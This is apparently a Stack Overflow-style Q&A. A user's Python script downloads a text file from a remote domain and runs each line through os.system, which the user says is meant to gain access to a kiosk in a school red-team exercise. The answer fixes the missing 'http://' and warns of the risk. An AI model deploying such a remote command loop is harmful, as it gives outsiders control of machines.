Search code examples
pythonpython-3.xurllib

python read and run commands from a remote text file


I have a script that is supposed to read a text file from a remote server, and then execute whatever is in the txt file.

For example, if the text file has the command: "ls". The computer will run the command and list directory. Also, pls don't suggest using urllib2 or whatever. I want to stick with python3.x

As soon as i run it i get this error:

Traceback (most recent call last):   
File "test.py", line 4, in <module>
    data = urllib.request.urlopen(IP_Address)   
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 222, in urlopen
    return opener.open(url, data, timeout)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 509, in open
    req = Request(fullurl, data)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 328, in __init__
    self.full_url = url
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 354, in full_url
    self._parse()
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 383, in _parse
    raise ValueError("unknown url type: %r" % self.full_url) ValueError: unknown url type: 'domain.com/test.txt'

Here is my code:

import urllib.request
IP_Address = "domain.com/test.txt"
data = urllib.request.urlopen(IP_Address)
for line in data:
    print("####")
    os.system(line)

Edit: yes i realize this is a bad idea. It is a school project, we are playing red team and we are supposed to get access to a kiosk. I figured instead of writing code that will try and get around intrusion detection and firewalls, it would just be easier to execute commands from a remote server. Thanks for the help everyone!


Solution

  • The error occurs because your url does not include a protocol. Include "http://" (or https if you're using ssl/tls) and it should work.

    As others have commented, this is a dangerous thing to do since someone could run arbitrary commands on your system this way.